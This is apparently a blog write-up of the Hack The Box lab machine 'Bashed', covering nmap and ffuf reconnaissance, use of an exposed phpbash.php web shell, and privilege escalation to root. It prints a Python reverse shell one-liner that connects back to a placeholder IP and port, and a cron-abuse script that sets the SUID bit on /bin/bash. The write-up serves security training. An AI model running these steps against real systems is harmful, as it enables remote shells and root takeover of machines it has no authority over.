[Hack The Box] - Bashed

[Hack The Box] - Bashed

Feb 1, 2022·

2 min read

Link : https://app.hackthebox.com/machines/Bashed

Difficulty : Easy

Nmap Scan

nmap -A -T4 bashed.htb           
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-01 10:33 GMT
Nmap scan report for bashed.htb (
Host is up (0.039s latency).
Not shown: 999 closed ports
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site


So we found a web service running on the machine with an interesting page that shows a github project:



Fuzz with ffuf

ffuf -u http://bashed.htb/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/big.txt                

.htaccess               [Status: 403, Size: 294, Words: 22, Lines: 12]
.htpasswd               [Status: 403, Size: 294, Words: 22, Lines: 12]
css                     [Status: 301, Size: 306, Words: 20, Lines: 10]
dev                     [Status: 301, Size: 306, Words: 20, Lines: 10]
fonts                   [Status: 301, Size: 308, Words: 20, Lines: 10]
images                  [Status: 301, Size: 309, Words: 20, Lines: 10]
js                      [Status: 301, Size: 305, Words: 20, Lines: 10]
php                     [Status: 301, Size: 306, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 298, Words: 22, Lines: 12]
uploads                 [Status: 301, Size: 310, Words: 20, Lines: 10]

We can see a /dev folder which contains the famous phpbash.php script which will allow us to execute commands on the system.


Reverse shell

Payload :

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Privilege Escalation

We can see that the www-data user has the right to issue commands as scriptmanager :


So we can pivot to this user :

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

After more research, we can see an unusual file at the root :


We have the rights to modify this file test.py :


With the pspy helper we can have a crontab running as root to launch the python scripts in the :

2022/02/01 10:46:01 CMD: UID=0    PID=1302   | /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done 
2022/02/01 10:46:01 CMD: UID=0    PID=1301   | /usr/sbin/CRON -f

So we just need to create a shell.py file for example :

import os

os.system("chmod 4777 /bin/bash")

We can see that our previous command worked well and that the bit suid is present:



We just need to execute the following command to be root :

scriptmanager@bashed:/scripts$ /bin/bash -p
bash-4.3# id
uid=1001(scriptmanager) gid=1001(scriptmanager) euid=0(root) groups=1001(scriptmanager)

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